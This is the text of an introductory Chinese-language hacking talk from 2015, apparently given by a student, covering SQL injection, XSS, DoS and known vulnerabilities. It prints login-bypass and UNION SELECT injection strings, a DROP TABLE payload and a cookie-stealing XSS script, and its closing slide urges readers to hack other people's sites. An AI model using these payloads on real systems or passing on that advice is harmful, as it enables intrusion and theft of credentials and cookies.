![UPDATE Students SET Name=(’[user input]’) WHERE id=210682](https://image.slidesharecdn.com/talk2015-150213045315-conversion-gate02/85/Talk-2015-49-320.jpg)
资安罢补濒办蔼2015冬资练
- 3. 黃志仁 嘉中電腦社社長 專業Script Kiddle 在VulReport投了12個Vul((但被確認的只有4個QAQ HITCON CTF 第271/1020 名((很值得炫耀嗎w Facebook:https://www.facebook.com/OuOwwwwww About Me
- 6. 这是一个很黑很可怕的讲座
- 10. 到底為甚麼会想学黑客?
- 11. 在某社團搜刮到的回覆…… 1. 聽起來很酷炫 2. 可以掌握到別人資料的快感 3. 為了報仇，整人 4. 我是覺得駭客很酷XD 5. …...And You?
- 13. 破解新聞 高三駭客駭功強 駭班導mail改成績((Hi 郭X泰大黑客(## http://goo.gl/ISDXRh 攻陷1237網站 駭客竟是高中生 http://goo.gl/t8s0or 國中生無師自通 14歲駭客專門攻擊學校網站 http://goo.gl/qxvkg3
- 17. 在这之前我们来谈谈…
- 19. 像现在在喇赛的人一样帅？
- 20. 像电影裡的一样翱笔？
- 22. 电影裡的骇客
- 24. Hacker vs Cracker 解釋： ● 駭客 vs 黑客 ● 白帽 vs 黑帽 ● 好人 vs 壞人
- 25. VS QAQQQQQQQQQQ
- 26. QwQQQQQQ 蛋蛋的哀傷
- 28. 最悲剧的方法。
- 29. Most Good der Square Law 最好的方法?
- 31. 工具豪好玩/
- 33. 。。。
- 34. Let’s Talk About HOLE(? 那麼漏洞到底是毛?
- 35. 這些都是最近的大洞洞... ● CVE-2014-6332(微軟IE的某個神奇洞洞) ● OpenSSL HeartBleed ● Bash Shellshock 有時間的話再回來講 一定沒時間 這些都是洞！
- 42. 不行。 SQL?那能吃嗎
- 43. SQL快速介紹 SELECT * FROM user id username password creat_date 1 imuser 123456 2015/02/07 2 a2147483647 qwerty 2015/02/08
- 44. SQL快速介紹 SELECT * FROM user WHERE id=1 id username password creat_date 1 imuser 123456 2015/02/07 2 a2147483647 qwerty 2015/02/08
- 45. SQL快速介紹 SELECT * FROM user WHERE id=2 id username password creat_date 1 imuser 123456 2015/02/07 2 a2147483647 qwerty 2015/02/08
- 46. SQL Injection快速介紹 SELECT * FROM user WHERE id=2;DROP table user id username password creat_date 1 imuser 123456 2015/02/07 2 a2147483647 qwerty 2015/02/08
- 47. GG
- 48. SQL Injection
- 49. UPDATE Students SET Name=(’[user input]’) WHERE id=210682
- 50. UPDATE Students SET Name=(’Robert');DROP TABLE Students;-- ’) WHERE id=210682
- 51. 好像很厲害 聽過萬能密碼嗎?
- 52. 這就是萬能密碼 ')or('a'='a or 1=1-- 'or 1=1-- a'or' 1=1-- "or 1=1-- 'or'a'='a "or"="a'='a 'or''=' ......
- 55. view.php?id=2 and 1=2 union select 1,usr,pwd from admin
- 56. 不要相信使用者Part2 XSS
- 59. 游乐场#2
- 62. 其實就是盜取cookie <script> document.write('<img src=/OuOwwwwww/talk2015/"http:/localhost/2015/stealer/steal.php?a=& + encodeURI(document.cookie) + '"/>') </script>
- 65. Before DDoS…
- 66. 啥是DoS? 子曰： 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 「嗨」 …… Denial of Service
- 67. 啥是DDoS? 子曰： 「嗨」孟子曰：「安安」莊子曰： 「QAQ」丁丁說： 「你好」小波說： 「你好」 迪西說： 「你好」拉拉說： 「你好」屁孩說： 「阿你不就好棒棒」狗狗說：「汪」貓咪說：「喵」 我說：「呵呵呵」大食客說：「綠豆糕」我又說： 「我真的懶得掰下去了啦」………. Distributed Denial of Service
- 69. DDoS V.S. DoS 相同：你都會崩潰 不同： DoS 一個人一直該 DDoS 一堆人在該
- 70. 其實他們有三種 ● 網路頻寬消耗型 ● 應用資源消耗型 ● 系统资源消耗型
- 73. 傳說中的IE大洞洞： CVE-2014-6332 影響的範圍： Win 95~Win 10 && IE 3~IE 11 簡介： 這個洞就是用 VBscript 的陣列錯位方式，將 IE 中原本因為 被Safe mode 限制而權限很低的Vbscript，繞過Safe mode 的限制，然後就可以執行任意指令惹QAQ (EX: 開啟notepad、 新增Administrator帳號) 0x0E => 0x00 http://slides.com/hrjk/little_talk-cve-2014-6332#/
- 74. HeartBleed心臟流血 簡單的說，服務器端得到數據包，數據包長度為plen_real，而數據包中 包含一個字節表明有效負載數據長度plen_fake，數據包剩下的部分是有 效負載數據，長度為plen_real-1。整個數據包存儲在一個char型數組之 中。而服務器端構造新數據包時，先分配一段plen_fake+1的內存空間， 前兩個字節存放plen_fake，之後使用memcpy從收到的數據包有效負載 數據起始位置向新數據包拷貝plen_fake字節數據。正常情況下plen_fake = plen_real-1，當用戶有意設置plen_fake大於實際有效負載長度 plen_real-1時，服務器就會發送plen_fake長度的數據，其中包括 plen_fake - plen_real-1長度的數據，這些數據可能是一些用戶密碼或者 密鑰。 我知道這樣大家看不下去
- 80. 最後的喇賽 總結
- 81. 我要變黑黑！！！？！！！？ ● 參加各種conf，區聚以拜見各種黑黑 ● 去打Wargame ● 有明確目標(ex.我要寫外掛etc) ● 不要當script kiddie ● 去黑別人站
- 82. 提問時間/ Q&A